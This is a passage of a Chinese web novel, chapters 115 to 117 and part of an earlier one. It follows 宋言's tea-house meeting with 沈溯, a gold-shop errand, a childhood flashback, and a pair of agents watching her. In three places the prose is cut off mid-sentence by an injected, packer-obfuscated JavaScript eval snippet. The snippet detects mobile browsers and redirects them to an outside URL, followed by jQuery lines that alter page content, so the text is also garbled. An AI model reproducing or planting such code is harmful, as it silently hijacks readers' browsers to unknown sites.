姜夜白把照片收好,回忆了下,道:“似乎,是因为她最近在我们的场子出现过,好几次。我们的人怀疑她另有所图。” 胖墩点点头,旋即反应过来不对:“可是头儿,这种盯梢的事情,随便派个人来不就行了,何必让咱们来。” 胖墩脑筋转得快,马上觉出任务不对,可下一秒,他就转过弯来,自己回答了这个问题。 对于鬼面来说,他们就是“随便派的人”。 但这话,就有些把姜夜白的面子往地上踩的意思了,虽然胖墩觉得他们头儿也不见得多在意这份面子。 胖墩及时住嘴,视线往四周飘,这里偏近外城,人烟稀少,选择这里盯梢是因为周围多遮蔽物和监控死角,满地黄沙乱石,一面墙隔开外城和内城,也隔开两个世界。 胖墩心里觉出一片凄凉,凭什么同在一片土地,同呼吸一片空气,有人嫌鲍鱼燕窝腻味,有人却饭都吃不饱。 可见上天并不讲公平,公平只能靠人自己争取。 他正这么想着,视线里突然闯进一辆粉色涂鸦大suv,硕大的爱心在车门摇摆,车被开成一道残影,直直撞过来。 胖墩还没反应过来,就被拽到一面墙后,他体量太大,惯性也大,这么一拽,刹不住车,仰面翻倒在黄沙地上。 地上传来一道弱弱的呜咽声。 “头儿,虽然我是该谢你救我一命,但是,咱们下次能不能,提前说一声。” 姜夜白远远望着那辆半路急刹的suv,淡声道:“你还想有下次。” 胖墩想了想,点了点头:“也是哦,那辆车怎么回事,外城区飙车?野啊兄弟。” 姜夜白没有回答他。 胖墩勉强从地上爬起来,顺着姜夜白的目光看去,那辆粉色suv车门打开,里头下来三个人。 其中两个都是他熟悉的面孔。 胖墩条件反射看了姜夜白一眼,惊呼道:“那不是那天山洞里的睡美人吗?头儿,她怎么会和我们的任务对象一块儿?” ...... 另一边。 车门打开,粉色爱心从中间裂开,苏妮从里面窜出来,随便抱着棵树,开始干呕。 宋言和沈溯也没好到哪里去,宋言一手撑着车身,脸色发白,胃里翻江倒海。沈溯为了维持自己的形象,不动如松,只有微微发抖的腿肚子出卖了他。 “楚瑜,你到底开的什么车?”苏妮平复胃里泛上的恶心,道。 驾驶座探出个凌乱的脑袋,回答:“就正常开车啊,你们......不会吧都吐了?” 他有些怀疑自己,自言自语道:“这也不是灵车啊。” 苏妮叹了口气,道:“算了,我来开吧,你再开下去,我怕不是你开回的不是军部,是鬼门关。” 楚瑜还想辩驳,但一车四人,三个人都同意苏妮的意见,他只好从驾驶座出来,和苏妮换了位置。 车辆再次启动。 这次执勤任务的范围是内城几片街区乃至相邻的外城区。内城区已经巡察过了,外城区本来人就少,是以楚瑜见一路开过来街道空旷,忍不住加了几脚油,这辆suv便如脱缰野马——差点撞上树。 所以回程时驾驶座换成苏妮,沈溯和宋言都暗自松了口气。 楚瑜撩起车内随处可见的粉色爱心挂饰,撇了撇嘴,问道:“这车怎么里头都是粉的?” 他手里捏着一个粉色爱心捏捏球,楚瑜按了下,发出噗噗的响声。 沈溯调匀呼吸,解释道:“这辆车应该是当初宋非羽上将还没率部出走时,送给林上将的。” 楚瑜语调上扬:“送?这不是军部公车吗?” 沈溯微微点头:“是公车,但也是当初宋非羽以个人名义送给军部的,不过明眼人都知道他真正送的是谁,凭他和林上将青梅竹马的交情,军部只是个由头而已。” 楚瑜这一代人,已经很少听到宋非羽的名字,自从他率部出走那一日起,他在帝都已经被除名,议会、研究院和军部都在不留余力地抹去这个名字。 或者说,是在掩护这个名字。 楚瑜不清楚其中关窍,但这不妨碍他理解沈溯的话,他挠了挠头,道:“那这位宋上将真是品味清奇,一车的粉色爱心,连外面喷涂都如出一辙的恶俗。” 沈溯挑眉:“你觉得是恶俗?” “不然还能是高雅?”楚瑜理所当然道,“其实粉色爱心本身不丑,但是这样大面积喷涂,就像是......生怕别人觉得好看一样。” 沈溯笑了下,不予置评。 苏妮听到他们议论,却道:“我倒觉得这车挺好看,除了车身涂装花一点,有点小孩子气了,配色倒是挺可爱的。” 楚瑜大吃一惊:“你什么审美?” 苏妮凉凉道:“能把你药晕八天的审美。” 于是楚瑜也不说话了。 沈溯又道:“说起来,我们宋姑娘似乎也姓宋。” 宋言偏头看他,这位沈家大少爷即使坐在车里,也不忘姿态矜雅,他撩起眼皮,和她对视:“宋姑娘不仅姓宋,还是宋家的旁支,这些年宋家出了个不肖子,日子难过,恐怕宋姑娘日子也不太好过。” 宋言反唇相讥:“原来沈公子耳朵这么长,不管该听的不该听的,都能听到。” 沈溯摇了摇头:“倒也不是听到,只是你知道,人一旦到了这个位置,总会有意无意知道很多东西。不管你想不想知道。” 他唏嘘道:“甚至你想闭目塞听都不可能,大多数事关系到你的性命,你不得不听。” 车内一时无话。 许久,宋言听着轰鸣声缓缓平息,淡声道:“如果您觉得自己身家性命受到威胁,大可以找我们方队求助,保护每一位帝都公民是军部的责任。” 沈溯微微挑眉。 车辆在军部大门前停下。 三个人从三扇不同的车门下车,苏妮还要把车开去地下车库停好,粉色suv扬长而去,三个人留在原地。 下午三点半,外勤组和普通坐班不一样,不需要等到下班时间,完成任务就可以下班,这四个人里,除了苏妮还在资料室工作,其余三个都是纯粹的外勤。 宋言头顶的阳光被挡掉一半。 沈溯靠过来,在她身前半米停下。 他道:“方队太忙,我以为你作为她的队员,会主动帮她分担工作量。” 宋言挑眉看他,似是不解。 沈溯微笑道:“所以我想把身家性命交到宋姑娘手里,不知道宋姑娘,接不接得住。” 宋言思索片刻,回答:“你敢给,我就敢接。” 沈溯点头道:“那好,我看择日不如撞日,我想请宋姑娘喝下午茶,不知道您肯不肯赏脸。” ...... 军部附近的巷子里,一辆破旧的四轮车在角落停下,这里是监控死角,几小时都没人路过。 胖墩盯着显示屏,描述道:“我们的任务对象回到军部了,至于头儿你那位......上了一辆黑色迈巴赫,看方向是往内环开。” 他顿时醒悟过来:“哦,头儿,我懂了,你是刻意接近那姑娘,好借机接近任务对象是不是?这招高啊,兵不血刃,还能借刀杀人。” 他啧啧称奇,姜夜白却匪夷所思地望着他,道:“你在说什么?” 胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13436956|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墩摸了摸鼻子,疑惑道:“难道不是吗?头儿你一定是早就调查过我们的任务对象,接近苏家养女难,但利用一个孤女还不容易?头儿你为了完成任务不惜出卖色相,混进任务对象的队友家,甚至连您的爱宠都丢在那,我今天去找您,它还咬我!” 姜夜白眉头皱得更紧了,忍不住开始担心家里那头蜥蜴会不会吃坏肚子。他摇了摇头,道:“你的想象力确实很丰富。” 胖墩观他神色,发现自己确实会错了意,自言自语道:“那头儿你为什么一直潜伏在一个不相干的人家里,不是因为任务,总不会是因为......” 姜夜白问道:“因为什么?” 胖墩神情有些严肃,他捉住姜夜白的手,在对方莫名其妙的眼神里,诚恳道:“真相只有一个,那就是你们是那种关系。” 姜夜白眉尖微蹙:“什么关系?” 胖墩深沉道:“人的感情有很多种,有的像亲情,有的像爱情,有的像友情。但是有一种感情又超越这三者,那是你午夜梦回的故乡,是灯火阑珊的伊人,是......” 姜夜白打断他:“说人话。” “哦,好的。”胖墩停下来,简洁道:“就是,命运让你们相逢,你们此前没有任何关系,但是在命运的操纵下,你们一见如故,相见恨晚,觉得简直是命运让你们走到一起。” 姜夜白眉头简直要拧成八字,道:“你能举个例子吗?” “能啊,就,我和我哥吧。”胖墩张口就来,“我哥不是我亲哥,所以我们不是亲人,爱人就更不可能了,但是如果只说是朋友,又有点普通了。” “反正我在刑狱司和斗兽场那会儿,都是我哥罩着我,我哥是个狠人,我不一样,我觉得给人踹一脚就踹一脚吧,但是我哥一定要给我找回场子。” “我当时问我哥为什么罩着我,他说因为我长得像他早死的弟弟,行吧,我也算靠脸吃上饭了。之后我哥在地下越混越好,甚至成了王牌角斗士,我也就跟着鸡犬升天......” 幸福一点点爬上胖墩面庞,他那张油光满面的脸上缓缓咧开一个笑,似乎在回忆那段往事。 姜夜白奇怪道:“你喜欢你哥?” “怎么可能,你不要玷污我和我哥之间纯洁的感情!”胖墩声音突然激越起来。 “哦,行,你不喜欢你哥,那你和我讲你和你哥的故事是想干嘛?提点我?有情人终成兄妹?”姜夜白道。 胖墩手里的显示器“滴滴”地叫,他沉默片刻,意识到自己跑偏了,掰正道:“不,我只是想说,我和我哥在一起的时候,我才有家的感觉,虽然我们那时候白粥都不一定喝得上,但那种感情是无法用金钱衡量的。” “所以,我悟了。”胖墩本想仰头望天,但客观条件限制,他只能望着车顶,“头儿,如果有那么一个人,让你第一次有家的感觉,觉得一起喝白粥也心甘情愿,那么你们就是命中注定的缘分。” 这下轮到姜夜白沉默了,半晌,他终于开口:“你最近是不是看了什么奇怪的东西?” “没有啊。”胖墩摇头,“也就最近跟着咱们队里那群姑娘,追了几集偶像剧吧。” 姜夜白嘴角抽搐了一下,拍了拍他的肩,道:“少看这些东西,会变笨。” 显示器还在“滴滴”地响,姜夜白接过来,显示屏上,已经无法检测到那辆黑色迈巴赫的踪迹。 他按下静音键,显示器登时消音,胖墩问道:“这......我们的任务对象还在军部,我们就在外面等着?” 姜夜白微微摇头。 “今天就到这里,人家是养女,不是傻子,你一直跟着,会被发现的。”姜夜白关闭显示器,顺便把车熄火,从车上下来。 车门从里推开,带起一阵风,胖墩眼前划过一道银光闪电,是皮衣敞开的拉链扣。 姜夜白脱下外套,搭在后视镜上,里头是熨烫得整整齐齐的荷叶衬衫,领口开得不高,露出一截竹节般的锁骨,肌肤素白。 胖墩目瞪口呆地看着他完成一系列动作,才想起来问他:“头儿......你终于疯了?” 姜夜白睨他一眼。 “什么疯话,我下班了。” 他道。 115. 您即将通往结局(三) 115 * 茶室。 一叠点心被摆在宋言手边。 侍者穿着式男式荷叶边衬衫,式样宽松,领口严丝合缝地系到最上面一粒,弯腰时却随着重力下坠。 恰到好处露出一截漂亮的锁骨,细腻光洁,泛着珍珠般的色泽。 这是帝都时兴的装束,恰逢入秋,大街小巷男装店铺满了这种样式的衬衫,作为以私密闻名的雅厅,出入都是帝都权贵,男侍们敷粉妆容,衣装自然也不甘人后。 说不准,就能被哪位大人看上呢。 这位男侍挑选的角度很巧妙,宋言正好能看清他敷过珍珠粉的胸膛,往下甚至能看到一点樱粉的突起,点心摆上桌时,宋言鼻尖闻到一股淡淡的花香味。 像家里的栀子花沐浴露,这瓶留香相当持久,姜夜白拿它洗过小金后,宋言感觉整个客厅里都弥漫着一股淡淡的栀子味。 衣袖下传来“呜呜”声。 宋言连忙捂住声源,因此,也错过了男侍借动作掩饰,暗暗送来的秋波。 袖子里声音很微弱,被餐盘落下的声音掩盖,除了宋言,没有人发觉。 侍者退下,沈溯提起茶壶,行止端雅,淡褐色茶水泻出,水汽氤氲。 一碗茶被推到宋言手边。 茶汤通透鲜亮,盛器玉质润泽,沈溯十指交叉,目光穿过错落的指尖,落在对面人身上:“我说把身家性命交到宋姑娘手上,不是玩笑。” 宋言尝了一口茶,觉得确实是好茶,点头道:“我知道。” 水雾氤氲,两人视线一瞬交汇,旋即错开。 茶烟袅袅,蛇般缠绕、升起,宋言看不清沈溯的神情,碗到嘴边,借着衣袖遮掩,底下传来咕噜噜喝水声。 沈溯阖上手掌,垂眸道:“三日后,议会长会在议会厅举办酒会,届时我希望宋姑娘能随我出席。” 宋言碗中茶汤已然见底,茶碗被倒扣在桌上,发出“砰”的一声响,她挑眉道:“你要我做你的女伴?” “不,是作为我的保镖。”沈溯眉眼微动,脸上浮起一个笑,“帝都最近不太平,我叔叔前几日清了一大批议员,虽然大多数阖家在刑狱司团圆,但难免有漏网之鱼。” “我也是沈家人,议会厅这种地方,不方便大张旗鼓,我身边得有个信得过的人。” 他俯身过来,身周茶香浮动,轻轻一拨,茶碗翻正,茶壶倾斜,碗中又续上茶水。 茶烟云雾缭绕,模糊两人眉眼,宋言垂眸,似在思量。 沈溯好整以暇地理了理袖口,语气轻松:“想要我命的人很多,我相信在宋姑娘手里,我的身家性命比在我手里更安全。” 宋言抬眼看他。 对面人眨了下眼,半靠在座椅上,等待宋言的回答。 他姿态纯良无害,落在宋言眼里甚至称得上无辜,如果今天是她第一次见他,她大概也会觉得这人是个寻常怕死的贵公子。 想到这里,宋言心里又浮上一阵好笑,蛇隐去毒牙,难道就会被错认成蜥蜴吗? 那也太蠢了。 这个蠢字,同样送给沈公子。 宋言这样想。 她没有立即答应沈溯的邀请,转而问道:“我听说研究院丢了一批药,沈公子听说了吗?” 沈溯表情有些意外,他以为宋言的回答无非是愿意或者不愿意,无论是哪种回答,他都有把握将谈话引向他想要的方向。 他几秒没有言语,听到对面人继续道:“看来沈公子不知道。” 这个“不知道”不知怎么刺痛了沈溯的耳朵,他脸上浮起一个假笑:“我的确不知道宋姑娘想要哪部分的消息,如果涉及机密,我大概是不能给的。” 宋言抓住重点:“你也说是大概。” 沈溯只是笑,不再说话。 宋言径直说下去:“军部接到通告,研究院的药被共.济会劫走,我们方队最近一直在忙这件事,不过她调查发现,劫药的不止是共.济会,拾荒者也在里面掺了一脚。” 拾荒者对于宋言来说是私下接单的平台,但对于沈溯来说,意义不止于此。 沈溯听到这里,脸上的笑有些挂不住了。 沈桉对十三年前的事情守口如瓶,可人总是越不让做什么,越想做什么。沈溯手上那么多信息渠道,却在追查这件事时,总是稍微查到一点线索,便被人有意无意地斩断。 这些线索里面,有一条就明确指向拾荒者。 这条线索说,拾荒者如今的首领,就是十三年前那场灾难的受害者。 十三年前,军部只对外说捣毁了一个藏匿于泰来街道的辐射区,一个废弃楼盘被夷为平地,当事人林凛对此更是讳莫如深。 这些都极大激起了沈溯的好奇心。 作为沈家名义上的继承人,他手上有无数渠道,这么多年来,却始终绕着十三年前的真相打转,真相就在他眼前,他却如盲人摸象,不得要领。 好奇心之外,沈溯心底不由升起一股隐秘的胜负欲。 听到“拾荒者”的名字,沈溯终于开口:“原来宋姑娘愿意和我喝茶,是为了方队的任务。” “难道沈公子约我,不是看中我的背景吗?”宋言反问道。 沈溯端起茶碗,茶器玉质通透,在指尖旋转,随即反扣在桌上,发出“砰”的一声响。 宋言听到这声响,挑眉道:“看来沈公子是不愿谈了。” 她起身欲走,却发现门帘闭合,无法打开,回头,沈溯四平八稳地坐在靠椅上,语气有些松动:“你性子还是这么急,这门只能从外面打开。” 宋言皱眉道:“那也不一定。” 话音未落,沈溯只听到“簌”的一声响,眼前晃过流金闪电,银光出鞘,一柄刀便抵在胸前。 他缓缓举起手。 宋言道:“开门的钥匙有两把,一把在外头,一把在里头,我猜里头这把,就在沈公子您身上。” 她垂下眼帘,神情冷淡。 沈溯被人抵着心脏,应该是剑拔弩张的气氛,他却丝毫不见生气,甚至心里浮出一点理所当然来。 这才是他想要的刀。 沈溯语气有些微妙:“你何必如此,我并没说不许你出去,也没说不和你谈。” 宋言观他神色,半晌,刀从左胸收回。 沈溯低低咳了一声,胸口滑出半截红线:“研究院那批药......咳咳.......是被劫了不错,但是被谁劫了其实不重要,方队一直在查拾荒者?” 宋言盯着那截红线,缓慢点了点头。 沈溯没察觉她这点犹疑,径直说下去:“你可以告诉方队,没必要查了。那批药本来就是引蛇出洞的幌子,帝都要变天,议会长清完议会厅那批蛀虫,下一件事就是清理那些藏在影子里的东西。” 宋言眨了眨眼:“你的人是这么和你说的?” 沈溯没有立刻回答,宋言明悟:“哦,那这话就是议会长说的。” 沈溯移开眼:“......不是我说的,是你自己打听到的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450323|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋言通情达理地点了点头。 茶室一时无话。 须臾,宋言咳嗽一声,没话找话:“您的项链很独特。” 红色丝绦,间有鎏金相应,一点红缀在脖颈间,分外显眼。 沈溯扯出那截红线,底下缀着个金灿灿的长命锁,表面缠枝花枝叶摇曳,栩栩如生,花叶拥簇间,刻着“长命百岁”四个字。 尾端坠着只铃铛,去了铃舌,摇晃时不见响。 宋言从这只挂坠里,感知到一股强烈的生命力。 她心下一动,道:“您这只锁样式很好看,是哪家的?” “家里长辈给的。”沈溯回答,旋即又把挂坠收回衣襟里,“你若是喜欢这个样式,找个金匠打一把就是,不过这是给孩子的,我以为你不会这么快要孩子。” 宋言沉默片刻,道:“算是有。” 沈溯蓦然抬头。 宋言摊手解释道:“家里养的小猫,喜欢金灿灿的东西。” 沈溯神情有些复杂,半晌才道:“原来宋姑娘看着不近人情,也是会开玩笑的。” “不近人情,有吗?”宋言微微摇头,提起茶壶,给自己倒了一杯水,茶汤溅出,素色桌布上,顿时湿了一片。 沈溯正想回答,茶室的门突然被推开。 进来的是先前的男侍,沈溯看到他,不由皱起眉:“我记得这边的规矩是,客人谈话时,外人不得入内。” “对不起先生,但你们这边出了差错。”男侍微微低头,“本来该给您上新茶的,后厨搞错了,上的是陈茶。” 他站在门口,宋言觉得他似乎比先前高了一些,衬衫领口也开得更低些,便道:“我没喝出不妥帖。” 男侍低低笑了声,走近道:“小姐恐怕不常品茶,新茶香味清新馥郁,陈茶则免不了涩气,这和男人是一个道理,年轻的总比年老的鲜嫩些。” 新茶壶落桌,发出沉闷的一声响,正好遮住宋言打湿的那片桌布。 宋言难得抬眼看人,因为他这番高论,她问道:“你多大?” “二十五。”男侍回答,他俯身过来,为宋言换上新茶碗,茶壶倾斜,碧绿色茶汤流出。 水汽氤氲,烟雾缭绕,一缕茶香窜入宋言鼻腔,侍者动作很慢,身上淡淡的橙花香气透着热气漫过来,气温慢慢升高,宋言觉得脸上有些热。 宋言忽然想起,家里浴室,也摆了瓶橙花味的沐浴露。 水流倾泻无声。 宋言忽地明悟过来,盯着碗中茶汤道:“确实是好茶。” 两人目光一触即收。 宋言仔细端详起男侍的脸,五官秀丽,肌肤润泽,头发中分碎盖,是统一的侍者装扮,脸上敷了层薄薄的粉,男侍一般不涂口红,涂也是涂裸色。 大体上是没错的,但细节上,这位男侍外露的肌肤上,并没有珍珠般的细闪,那或许是某种身体乳或霜,抹在肌肤上,晶莹透亮。 先前那个男侍,拿细闪当高光抹,闪得宋言眼花。 尽管五官几乎一模一样,但宋言定论,这不是同一个人。 茶汤倒完,男侍直起腰,睫如鸦羽,眼眸漆黑一片。 他轻声询问:“小姐一直看着我,是茶有哪里不对吗?” “没有,茶很好。”宋言微微摇头,“我的问题和茶无关。” 男侍疑惑地“哦”了一声,道:“那小姐有哪里不满意呢?” 宋言思索片刻,问道:“你们这,除了茶,还提供其他服务吗?” 116. 您即将通往结局(四) 116 * 宋言的问题掷地有声。 男侍脸上徐徐浮出一个笑,如茶水泼向壁上的油画,霎时鲜亮起来,五彩颜料在水中化开,画面秾丽润泽。 他点了点头,语气带着微不可觉的亲昵:“这位客人,我可以为您做什么呢?” 沈溯不明所以,只见两人低语一阵,宋言那句石破天惊的话出来,眉头下意识皱紧:“宋姑娘,这里是茶室。” “我知道。”宋言遥遥冲沈溯点了下头,“就是在茶室,我谁都不熟,这位侍者上次来过一次,我只好拜托他了。” 沈溯深吸一口气,险些维持不住仪态:“你随便拖着一个人就可以......” 后半句被沈溯阖上嘴,强行切断。 他马上察觉到自己的失态,平复下来,试图劝说宋言:“宋姑娘,饮酒作乐,人之常情,我送你几个玩玩也未尝不可,但是这是白天,我带你进来的,你若是玩出了什么事,我名声不好听。” 宋言不解道:“为什么名声不好听?我想让他带我去最近的金铺,给我家小猫打个锁,也不行吗?” 衣袖底下,传来几道细细的呜呜声,被话语声掩盖过去。 “因为无数双眼睛盯着我,我今日和你谈话这件事,明日便会被呈上别人案头......等等,你想打锁?”沈溯一惊。 宋言再次点头。 沈溯沉吟一霎,眉头旋即舒展开:“哦,只是打锁啊,去吧,附近几家都是沈氏的产业,回头我和他们说一声,账算我头上,算我给宋姑娘孩子.......不是,小猫的见面礼。” 他转头看向男侍,似乎觉得这人糟心,但又被宋言点名留下,只微微颔首,淡声道:“带宋姑娘去看锁,今天不用值班了,老板不会为难你。” 男侍旁观他和宋言争吵全程,一直不曾抬头,沈溯以为他是害怕或者刻意不冒犯,可当他正眼看这位侍者时,却看到对方眼中赤.裸裸的打量之色。 男侍神情玩味,目光落在他身上,视线里里外外转了一圈,沈溯顿时有一种被人一层层剥开衣服的错觉。 仿佛他正躺在手术台上,冰冷的手术刀一层层挑开他的皮肉,直直刺入病灶核心。 一个男侍,怎么可能让他有这样的感觉? 沈溯摇摇头,甩掉脑子里异样的触感,扬起手,示意侍者带宋言出去。 宋言离开茶室那一刻,背后传来沈溯的声音。 “记得三日后你我的约定。” 宋言在门口顿住脚步,道:“我知道了。” 她没有回头。 ...... 金铺。 柜台前人不多,只零星几个散开,间或和身边人交谈几句。 来买东西的人少,投诚的倒是多,毕竟这铺子姓沈。 掌柜的消息灵通,早早在门口等着,宋言一来,便被迎进最里面。 宋言被带到内室,面前金玉琳琅,然而比起财富,这些器物第一眼让人注意到的是繁复的工艺。 掌柜察言观色,见宋言目光落在一只戒指上,介绍道:“这是古法浇筑的金戒,原料采自西朗山那边的金矿,少数没有遭到辐射污染的地方。” 这是一只尾戒,造型优美,镂空缠枝花蒙络摇缀,金枝玉叶,栩栩如生。 宋言的思绪已经飘到别处。 沈溯说研究院丢的药只是借口,为的是引蛇出洞,方便清理共.济会。 可研究院是真的丢了一批药,这批药还被拾荒者分了一杯羹。 拾荒者那边,又有人在追查共.济会...... 想来想去,这团线都围着同一个线头——陈娟。这个本该死在十三年前,却死而复生,甚至成了共.济会首领的女人。 宋言顷刻间定下了主意。 系统听闻她的主意,不解道:“秩序已经准备收网,这些人再闹腾,无非是内斗,跟我们有什么关系?你还不如看好沈溯,他身上挂着那颗种子,我们现在不好和他撕破脸,但是你可以操作的空间就很大了。” 宋言摇了摇头:“我心里总觉得不安。” 雾里看花,云遮雾笼,即使知道大局已定,她仍然固执地要去解开谜底。 就当是为了平复心里那点不安吧。 宋言完全没听掌柜的之前说的什么,打断她:“我想看看锁,长命锁。” 挑一个和沈溯样式相近的,之后找机会敲晕他,或许还可以让系统下幻术,掉包他身上那个。 掌柜的反应过来,善解人意道:“好,锁在这一边,那这个戒指是......” 宋言淡声道:“都包起来吧。” ...... 早秋,傍晚时天空也是金灿灿的,像煎至七分熟的蛋黄边边。 从金铺出来后,宋言便把抱起来的东西塞给跟在身边的侍者。 他一直顶着男侍那张脸,宋言把东西塞给他的时候,他打开其中一个盒子,里面装着一个镂空尾戒。 很漂亮,金玉相称,花叶栩栩如生。 于是他问道:“你不试试这枚戒指吗?我觉得你戴着会很好看。” 一枚金灿灿的尾戒躺在他掌心,宋言本来打算拒绝,但看到那枚戒指时,她忽然想起一件事。 她小时候也有这样一枚戒指。 即使知道自己在另一个世界二十多年的经历只是“孵化”过程的一部分,但她仍然觉得那称得上是“小时候”。 小时候买干脆面,包装袋里会附赠随机小玩具。干脆面对她来说并不便宜,她往往要攒好久的瓶子,买了换几块钱,才能抽出一点去买小零食。 其实倒也未必是多喜欢零食,但是看到别的孩子吃得嘎嘣脆,然后被家长训斥不吃饭只吃零食的时候,她就会忍不住好奇,这种零食到底有多好吃。 别的小孩是家长给买,她没有家长,不过好在她自己也可以买。 她有钱。钱能买来天底下几乎所有东西,虽然她没有太多,但已经足够了。 她只买过一次干脆面。 包装袋“嘶”的一声撕开,面饼干而辛辣,调料粉糊了宋言一嗓子,她每吃一口就要喝一口水。 她有些疑惑,这东西真的有那么好吃吗? 不知道,但是她的钱已经不够买其他东西,只能把这个当晚餐吃掉。 里面还有个塑料纸包着的金色戒指。 是塑料戒指,外面喷了层漆,就能冒充金戒。 面饼不好吃,但宋言觉得戒指很好看。她把它藏在枕头底下,床下是一摞摞塑料瓶,再攒一攒,又能卖点钱。 她之前跑到县里卖瓶子的时候,还听说上头来人巡视,严抓失学儿童,几个山里的村子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465031|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被清了。 她那时候不太懂上学是什么意思,只心里隐隐觉得这是好事。 傍晚,她又捡了一摞瓶子,打算和床底下那些码在一块,回到家却发现,床、瓶子都散落在屋子外面。 床是几块木板加胶水勉强黏的,睡在上面,即使只是翻身,也会发出“嘎吱”的响。 此刻干脆碎成残片,和空瓶子一起,散落一地。 屋内,传来男人震天的吼。 “娘的,赔钱货捡了一堆赔钱的家伙,开垃圾站啊!” 宋言弯腰,在地上摸索,终于在一块木板下找到那枚戒指。 塑料戒指碎成几段,她一点点捡起,放到衣服口袋里。 没关系,还有胶水,可以黏。 她这样对自己说。 宋言沉默地将塑料瓶重新摞成堆,放置在屋前的草丛里。 自从这个男人的老婆和儿子相继死去后,屋前的田也变成了草地。 老婆可以再买,儿子可以再生,他当然想过再组建一个家庭,可惜他钱不够。 钱可以买来世界上所有东西,但是他没有钱,只好捏着鼻子和女儿相依为命。 他在屋子里骂了一阵,没人理,骂声逐渐小了下来。 宋言收拾完瓶子后,没有回屋,这个时候回去是自己找不痛快,她转道去了一户邻居家里。 那家养了条大黑狗,狗的寿命是十年,宋言第一次摸它的时候它还是只狗崽子,现在已经是条老狗了。 宋言摸了摸它的头,这条狗很爱干净,不管什么时候看见它,它的皮毛都发光发亮。 “小宋又来和我家的狗玩啊。”邻居家走出一个嫂子,是这户的儿媳妇。 宋言轻轻“嗯”了一声,不经意塞了几张票子给她:“给弟弟妹妹的,您先收着。” 女人见她一副乖顺样子,手里又多了进账,脸上顿时有了笑意:“来就来嘛,还带什么东西,我家正好在吃饭,小宋你也来啊!” 宋言温吞道:“嗯,好,我就进来。” 她仍然蹲在狗身边,女人并没管她的答案,只给了句像样子的话,转身进屋。 黑狗把脑袋搁在宋言膝盖上,它已经很老了,对于一只狗来说,算得上高寿。 那包辛辣的干脆面在宋言胃中缓缓消化,她不太饿,干脆坐在别人家门口,撸别人家的狗。 她道:“幸好你不在我屋子里,不然下一顿狗肉火锅原材料就是你。” 黑狗低低“呜”了一声。 宋言抱着它的脑袋,继续道:“你要是会说话就好了,只有我一个人说话,好无聊。” 黑狗低低“呜”了两声。 宋言旋即否定自己的话:“不过也是,我不能对狗要求太高。” 夜幕垂落,星子漫天,宋言仰头看星星,越看越困,最后被嫂子叫醒。 “小宋啊,你怎么在这里睡着了,睡觉要回家睡啊。” 宋言浑身一激灵,从地上爬起来,女人却绕过她,在她身侧弯腰。 那里睡着一条黑狗。 女人踹了狗一脚,宋言想阻止,女人下一句却如惊雷落地。 “总算走了,好几天没吃东西,我就说是快死了,我家那口子还不信......” 宋言木棍般杵在原地。 她身后,苍茫夜色,大地昏沉。 117. 您即将通往结局(五) 117 * 宋言回过神,从他手中接过戒指,套在食指上。 戒指大了,在指根晃荡,宋言又给摘了下来。 她又试了试大拇指,结果卡在了关节上。 ......这就很无奈了。 姜夜白看她摆弄了半天,忍不住笑道:“要不我试试?” 宋言把戒指递给他。 戒指表面浮着圈缠枝花,花叶舒展,他往左手第四个指节一套,正好卡住。 他手掌骨肉匀称,粗细合宜,仿佛照着人体雕塑雕出来似的,宋言买这戒指并没想过合适,掌柜的也以为她只是买着好玩,没想到真有人会戴。 所以,姜夜白能戴上这戒指,还真是他自己的本事。 金玉相衬,缠枝花叶间偶有玉石点缀,上好的羊脂白玉缀在他指间,肌肤冷白,一眼看去,竟分不清孰为玉孰为石。 宋言脑中乍然浮现,冰凉湖水下少年紧紧拽着她的手。那双手冻得霜白,肌肤浮上一抹绚烂的霞色,她陷在湖底,下面的黑影要拉她下去,上面的人要救她离开。 她盯着那枚戒指久久出神,半晌才道:“这戒指很适合你。” 姜夜白接住这夸赞:“我也这么觉得。” 他抖了抖手里的袋子,里面装着一箩筐东西,有包起来的金器,也有附赠的小物件。 宋言直接把袋子塞给他,这行为本身就有许多含义,姜夜白沉吟片刻,只是道:“天色不早,你等会直接回家还是有事?” 宋言回答:“去蹲点,你不要来找我。” 宋言顿了下,似乎觉得语气太重,婉转了些:“主要是怕你被发现,还有......小金不能跟着我,我得把它交给你。” 姜夜白点头,把小金从宋言手上拽下来,揉巴揉巴一起塞进袋子里。 这下是真的没有其他事了。 宋言却总觉得还忘了点什么,她迟迟不说话,姜夜白试探道:“我送送你?” “还是不用了,从没见过谁去蹲点还一堆人送的。”宋言想都没想,一口拒绝。 姜夜白却道:“可是我这没有一堆人,只有一个人和一条蜥蜴,你也不要?” 宋言摇头:“不要。” 